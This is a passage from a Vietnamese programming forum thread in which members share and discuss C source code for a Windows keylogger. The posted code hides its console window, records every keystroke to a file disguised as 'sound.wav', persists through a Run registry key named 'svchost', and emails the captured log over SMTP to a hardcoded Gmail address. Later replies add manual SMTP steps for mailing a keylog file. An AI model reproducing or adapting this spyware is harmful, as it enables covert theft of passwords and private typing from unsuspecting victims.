    112.                             break;
    113.                             case VK_OEM_PERIOD:
    114.                             fputc('.',file);
    115.                             fclose(file);
    116.                             break;*/
    117.                         case VK_NUMPAD0:
    118.                             fputc('0',file);
    119.                             fclose(file);
    120.                             break;
    121.                         case VK_NUMPAD1:
    122.                             fputc('1',file);
    123.                             fclose(file);
    124.                             break;
    125.                         case VK_NUMPAD2:
    126.                             fputc('2',file);
    127.                             fclose(file);
    128.                             break;
    129.                         case VK_NUMPAD3:
    130.                             fputc('3',file);
    131.                             fclose(file);
    132.                             break;
    133.                         case VK_NUMPAD4:
    134.                             fputc('4',file);
    135.                             fclose(file);
    136.                             break;
    137.                         case VK_NUMPAD5:
    138.                             fputc('5',file);
    139.                             fclose(file);
    140.                             break;
    141.                         case VK_NUMPAD6:
    142.                             fputc('6',file);
    143.                             fclose(file);
    144.                             break;
    145.                         case VK_NUMPAD7:
    146.                             fputc('7',file);
    147.                             fclose(file);
    148.                             break;
    149.                         case VK_NUMPAD8:
    150.                             fputc('8',file);
    151.                             fclose(file);
    152.                             break;
    153.                         case VK_NUMPAD9:
    154.                             fputc('9',file);
    155.                             fclose(file);
    156.                             break;
    157.                         case VK_CAPITAL:
    158.                             fputs("[CAPS LOCK]",file);
    159.                             fclose(file);
    160.                             break;
    161.                         default:
    162.                             fclose(file);
    163.                             break;
    164.                         }        
    165.                     }    
    166.                 }        
    167.             }    
    168.         }                  
    169.  
    170.     }
    171.     return EXIT_SUCCESS;                            
    172. }                                                
    173.  
    174. int test_key(void)
    175. {
    176.     int check;
    177.     HKEY hKey;
    178.     char path[BUFSIZE];
    179.     DWORD buf_length=BUFSIZE;
    180.     int reg_key;
    181.  
    182.     reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    183.     if(reg_key!=0)
    184.     {    
    185.         check=1;
    186.         return check;
    187.     }        
    188.  
    189.     reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
    190.  
    191.     if((reg_key!=0)||(buf_length>BUFSIZE))
    192.         check=2;
    193.     if(reg_key==0)
    194.         check=0;
    195.  
    196.     RegCloseKey(hKey);
    197.     return check;  
    198. }
    199.  
    200. int create_key(char *path)
    201. {  
    202.     int reg_key,check;
    203.  
    204.     HKEY hkey;
    205.  
    206.     reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    207.     if(reg_key==0)
    208.     {
    209.         RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
    210.         check=0;
    211.         return check;
    212.     }
    213.     if(reg_key!=0)
    214.         check=1;
    215.  
    216.     return check;
    217. }

    sau đây là Project
    Attached Files Attached Files
    Đã được chỉnh sửa lần cuối bởi AlexF : 29-06-2010 lúc 04:44 PM.

  5. #5
    Ngày gia nhập
    12 2008
    Bài viết
    17

    Tui nghe nói có một cách để đọc và gửi mail bằng Telnet cmd gõ Telnet.Tui đã tạo vào gửi được mail bằng Telnet này bằng mail của google bằng SMTP ... bạn vào google gõ Telnet nghiên cứu và làm code C gửi mail thử.

  6. #6
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Mặc định Gửi Mail Bằng Gmail Và bắt Keylog

    Gửi Mail Bằng Gmail Và bắt Keylog:

    Visual C++ Code:
    1. #include <windows.h>
    2. #include <stdio.h>
    3. #include <winuser.h>
    4. #include <windowsx.h>
    5. #include <time.h>
    6. int MailIt (char *mailserver, char *emailto, char *emailfrom,
    7. char *emailsubject, char *emailmessage);
    8. #define BUFsize 800
    9. #define waittime 500
    10. /*If you don't know the mail exchange server for an address for the following
    11. "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
    12. whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
    13. IT WILL NOT WORK!!! */
    14. #define cmailserver "gmail-smtp-in.l.google.com"
    15. #define cemailto "irong33k@gmail.com"
    16. #define cemailfrom "irong33k@gmail.com"
    17. #define LogLength 100
    18. #define FileName "sound.wav"
    19. #define SMTPLog "ring.wav"
    20. #define cemailsubject "Logged"
    21.  
    22. int test_key(void);
    23. int main(void)
    24. {
    25. //Uncomment the lines below to put the keylogger in stealh mode.
    26. HWND stealth; /*creating stealth */
    27. AllocConsole();
    28. stealth=FindWindowA("ConsoleWindowClass",NULL);
    29. ShowWindow(stealth,0);
    30.  
    31. {FILE *file;
    32. file=fopen(FileName,"a+");
    33. time_t theTime=time(0);
    34. fputs("\nStarted logging: ", file);
    35. fputs(ctime(&theTime),file);
    36. fclose(file);
    37. }
    38.  
    39. /* if (test==2)
    40. {//the path in which the file needs to be
    41. char *path="c:\\%windir%\\svchost.exe";
    42. create=create_key(path);    
    43. } */
    44.  
    45. int t=get_keys();
    46. return t;
    47. }
    48.  
    49. int get_keys(void)
    50. {
    51. int freadindex;
    52. char *buf;
    53. long len;
    54. FILE *file;
    55. file=fopen(FileName,"a+");
    56.  
    57.  
    58.        short character;
    59.          while(1)
    60.          {
    61.                 sleep(10);/*to prevent 100% cpu usage*/
    62.                 for(character=8;character<=222;character++)
    63.                 {
    64.                     if(GetAsyncKeyState(character)==-32767)
    65.                     {
    66.                         FILE *file;
    67.                         file=fopen(FileName,"a+");
    68.                         if(file==NULL)
    69.                         {
    70.                                 return 1;
    71.                         }      
    72.                         if(file!=NULL)
    73.                         {  
    74.                                 if((character>=39)&&(character<=64))
    75.                                 {
    76.                                       fputc(character,file);
    77.                                       fclose(file);
    78.                                       break;
    79.                                 }  
    80.                                 else if((character>64)&&(character<91))
    81.                                 {
    82.                                       character+=32;
    83.                                       fputc(character,file);
    84.                                       fclose(file);
    85.                                       break;
    86.                                 }
    87.                                 else
    88.                                 {
    89.                                     switch(character)
    90.                                     {
    91.                                           case VK_SPACE:
    92.                                           fputc(' ',file);
    93.                                           fclose(file);
    94.                                           break;
    95.                                           case VK_SHIFT:
    96.                                           fputs("\r\n[SHIFT]\r\n",file);
    97.                                           fclose(file);
    98.                                           break;                                      
    99.                                           case VK_RETURN:
    100.                                           fputs("\r\n[ENTER]\r\n",file);
    101.                                           fclose(file);
    102.                                           break;
    103.                                           case VK_BACK:
    104.                                           fputs("\r\n[BACKSPACE]\r\n",file);
    105.                                           fclose(file);
    106.                                           break;
    107.                                           case VK_TAB:
    108.                                           fputs("\r\n[TAB]\r\n",file);
    109.                                           fclose(file);
    110.                                           break;
    111.                                           case VK_CONTROL:
    112.                                           fputs("\r\n[CTRL]\r\n",file);
    113.                                           fclose(file);
    114.                                           break;
    115.                                           case VK_DELETE:
    116.                                           fputs("\r\n[DEL]\r\n",file);
    117.                                           fclose(file);
    118.                                           break;
    119.                                           case VK_OEM_1:
    120.                                           fputs("\r\n[;:]\r\n",file);
    121.                                           fclose(file);
    122.                                           break;
    123.                                           case VK_OEM_2:
    124.                                           fputs("\r\n[/?]\r\n",file);
    125.                                           fclose(file);
    126.                                           break;
    127.                                           case VK_OEM_3:
    128.                                           fputs("\r\n[`~]\r\n",file);
    129.                                           fclose(file);
    130.                                           break;
    131.                                           case VK_OEM_4:
    132.                                           fputs("\r\n[ [{ ]\r\n",file);
    133.                                           fclose(file);
    134.                                           break;
    135.                                           case VK_OEM_5:
    136.                                           fputs("\r\n[\\|]\r\n",file);
    137.                                           fclose(file);
    138.                                           break;                          
    139.                                           case VK_OEM_6:
    140.                                           fputs("\r\n[ ]} ]\r\n",file);
    141.                                           fclose(file);
    142.                                           break;
    143.                                           case VK_OEM_7:
    144.                                           fputs("\r\n['\"]\r\n",file);
    145.                                           fclose(file);
    146.                                           break;
    147.                                           case 187:
    148.                                           fputc('+',file);
    149.                                           fclose(file);
    150.                                           break;
    151.                                           case 188:
    152.                                           fputc(',',file);
    153.                                           fclose(file);
    154.                                           break;
    155.                                           case 189:
    156.                                           fputc('-',file);
    157.                                           fclose(file);
    158.                                           break;
    159.                                           case 190:
    160.                                           fputc('.',file);
    161.                                           fclose(file);
    162.                                           break;
    163.                                           case VK_NUMPAD0:
    164.                                           fputc('0',file);
    165.                                           fclose(file);
    166.                                           break;
    167.                                           case VK_NUMPAD1:
    168.                                           fputc('1',file);
    169.                                           fclose(file);
    170.                                           break;
    171.                                           case VK_NUMPAD2:
    172.                                           fputc('2',file);
    173.                                           fclose(file);
    174.                                           break;
    175.                                           case VK_NUMPAD3:
    176.                                           fputc('3',file);
    177.                                           fclose(file);
    178.                                           break;
    179.                                           case VK_NUMPAD4:
    180.                                           fputc('4',file);
    181.                                           fclose(file);
    182.                                           break;
    183.                                           case VK_NUMPAD5:
    184.                                           fputc('5',file);
    185.                                           fclose(file);
    186.                                           break;
    187.                                           case VK_NUMPAD6:
    188.                                           fputc('6',file);
    189.                                           fclose(file);
    190.                                           break;
    191.                                           case VK_NUMPAD7:
    192.                                           fputc('7',file);
    193.                                           fclose(file);
    194.                                           break;
    195.                                           case VK_NUMPAD8:
    196.                                           fputc('8',file);
    197.                                           fclose(file);
    198.                                           break;
    199.                                           case VK_NUMPAD9:
    200.                                           fputc('9',file);
    201.                                           fclose(file);
    202.                                           break;
    203.                                           case VK_CAPITAL:
    204.                                           fputs("\r\n[CAPS LOCK]\r\n",file);
    205.                                           fclose(file);
    206.                                           break;
    207.                                           default:
    208.                                           fclose(file);
    209.                                           break;
    210.                                    }  
    211.                               }
    212.                          }  
    213.                }
    214.            }            
    215.        FILE *file;
    216.        file=fopen(FileName,"rb");
    217.        fseek(file,0,SEEK_END); //go to end
    218.        len=ftell(file); //get position at end (length)
    219.        if(len>=LogLength) {
    220.          fseek(file,0,SEEK_SET);//go to beg.
    221.          buf=(char *)malloc(len);//malloc buffer
    222.          freadindex=fread(buf,1,len,file);//read into buffer
    223.          buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
    224.          MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
    225.          fclose(file);
    226.          file=fopen(FileName,"w");                  
    227.          }
    228.  
    229.         fclose(file);
    230.         //free (buf);
    231.        
    232.        }
    233.        return EXIT_SUCCESS;                      
    234. }
    235.  
    236. int MailIt (char *mailserver, char *emailto, char *emailfrom,
    237. char *emailsubject, char *emailmessage) {
    238. SOCKET sockfd;
    239. WSADATA wsaData;
    240. FILE *smtpfile;
    241.  
    242. #define bufsize 300
    243. int bytes_sent;   /* Sock FD */
    244. int err;
    245. struct hostent *host;   /* info from gethostbyname */
    246. struct sockaddr_in dest_addr;   /* Host Address */
    247. char line[1000];
    248. char *Rec_Buf = (char*) malloc(bufsize+1);
    249. smtpfile=fopen(SMTPLog,"a+");
    250. if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
    251.   fputs("WSAStartup failed",smtpfile);
    252.   WSACleanup();
    253.   return -1;
    254. }
    255. if ( (host=gethostbyname(mailserver)) == NULL) {
    256.    perror("gethostbyname");
    257.    exit(1);
    258. }
    259. memset(&dest_addr,0,sizeof(dest_addr));
    260. memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
    261.  
    262.  /* Prepare dest_addr */
    263.  dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
    264.  dest_addr.sin_port= htons(25); /* PORT defined above */
    265.  
    266.  /* Get socket */
    267.  
    268.  if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
    269.     perror("socket");
    270.     exit(1);
    271.     }
    272.  /* Connect !*/
    273.  fputs("Connecting....\n",smtpfile);
    274.  
    275. if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
    276.     perror("connect");
    277.     exit(1);
    278.     }
    279.  sleep(waittime);
    280.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    281.  fputs(Rec_Buf,smtpfile);
    282.  strcpy(line,"helo me.somepalace.com\n");
    283.  fputs(line,smtpfile);
    284.  bytes_sent=send(sockfd,line,strlen(line),0);
    285.  sleep(waittime);
    286.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    287.  fputs(Rec_Buf,smtpfile);
    288.  strcpy(line,"MAIL FROM:<");
    289.  strncat(line,emailfrom,strlen(emailfrom));
    290.  strncat(line,">\n",3);
    291.  fputs(line,smtpfile);
    292.  bytes_sent=send(sockfd,line,strlen(line),0);
    293.  sleep(waittime);
    294.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    295.  fputs(Rec_Buf,smtpfile);
    296.  strcpy(line,"RCPT TO:<");
    297.  strncat(line,emailto,strlen(emailto));
    298.  strncat(line,">\n",3);
    299.  fputs(line,smtpfile);
    300.  bytes_sent=send(sockfd,line,strlen(line),0);
    301.  sleep(waittime);
    302.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    303.  fputs(Rec_Buf,smtpfile);
    304.  strcpy(line,"DATA\n");
    305.  fputs(line,smtpfile);
    306.  bytes_sent=send(sockfd,line,strlen(line),0);
    307.  sleep(waittime);
    308.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    309.  fputs(Rec_Buf,smtpfile);
    310.  sleep(waittime);
    311.  strcpy(line,"To:");
    312.  strcat(line,emailto);
    313.  strcat(line,"\n");
    314.  strcat(line,"From:");
    315.  strcat(line,emailfrom);
    316.  strcat(line,"\n");
    317.  strcat(line,"Subject:");
    318.  strcat(line,emailsubject);
    319.  strcat(line,"\n");
    320.  strcat(line,emailmessage);
    321.  strcat(line,"\r\n.\r\n");
    322.  fputs(line,smtpfile);
    323.  bytes_sent=send(sockfd,line,strlen(line),0);
    324.  sleep(waittime);
    325.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    326.  fputs(Rec_Buf,smtpfile);
    327.  strcpy(line,"quit\n");
    328.  fputs(line,smtpfile);
    329.  bytes_sent=send(sockfd,line,strlen(line),0);
    330.  sleep(waittime);
    331.  err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    332.  fputs(Rec_Buf,smtpfile);
    333.  fclose(smtpfile);                    
    334.  #ifdef WIN32
    335.  closesocket(sockfd);
    336.  WSACleanup();
    337.  #else
    338.  close(sockfd);
    339.  #endif
    340. }
    Đã được chỉnh sửa lần cuối bởi AlexF : 28-07-2010 lúc 10:38 PM.

  7. #7
    Ngày gia nhập
    12 2008
    Bài viết
    17

    vào run gõ :cmd
    gõ telnet gmail-smtp-in.l.google.com 25
    gõ HELO gmail
    gõ MAIL FROM:<yourmail@gmail.com> (lưu ý gõ luôn dấu <>)
    gõ RCPT TO:<mailnhan1989@gmail.com>(lưu ý gõ luôn dấu <>)
    gõ DATA gõ enter xuống hàng
    gõ noi dung thu vi du HELLO I SEND MAIL FOR YOU
    để kết thúc gõ enter xuống hàng và gõ dấu chấm (.)
    gõ QUIT để thoát
    trong các bước trên nếu lỡ gõ sai phải làm lại khong backspace được
    -Không biết cách này có code bằng C được không nếu được có thể dùng lệnh open file keylog.tx sau đó đọc nội dung rồi chuyển thành thư gửi đi bác nguyên cứu thử

  8. #8
    Ngày gia nhập
    04 2008
    Bài viết
    244

    nếu bạn sử dụng CMD để chạy thì có thể dùng hàm
    #include<stdlib>
    system("lệnh đánh vào");
    để chạy

  9. #9
    Ngày gia nhập
    02 2009
    Bài viết
    88

    sao mình làm giống bạn có thấy gửi được Mail đâu bạn
    Attached Files Attached Files
    • Kiểu file: rar ds.rar (190 Bytes, 137 views)

  10. #10
    Ngày gia nhập
    09 2008
    Bài viết
    5

    chẹp, muốn gửi thư dùng SMTP thì dùng socket ấy
    đọc thêm 1 ít thông tin về SMTP là ok ngay

Các đề tài tương tự

  1. Lập trình virus trojan backdoor nâng cao.
    Gửi bởi Phanonra trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 5
    Bài viết cuối: 01-06-2016, 06:11 PM
  2. RegRun Security Suite Platinum 6.99 - Chống keylog và trojan
    Gửi bởi thienco0301 trong diễn đàn Software (Phần mềm) | Ebooks
    Trả lời: 0
    Bài viết cuối: 24-04-2012, 01:41 PM
  3. RegRun Security Suite Platinum 6.99 - Chống keylog và trojan
    Gửi bởi chjentha11 trong diễn đàn Software (Phần mềm) | Ebooks
    Trả lời: 0
    Bài viết cuối: 16-09-2011, 10:38 AM
  4. Source code build trên Ubuntu có chạy được Trên Linux Kernel không ?
    Gửi bởi trần trân trong diễn đàn Thắc mắc lập trình C/C++ trên Linux
    Trả lời: 0
    Bài viết cuối: 03-11-2010, 09:22 AM
  5. Tớ bị dính con Trojan.Vundo.DRL >"<
    Gửi bởi iamvtn trong diễn đàn Thắc mắc chung
    Trả lời: 12
    Bài viết cuối: 01-12-2007, 01:54 PM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn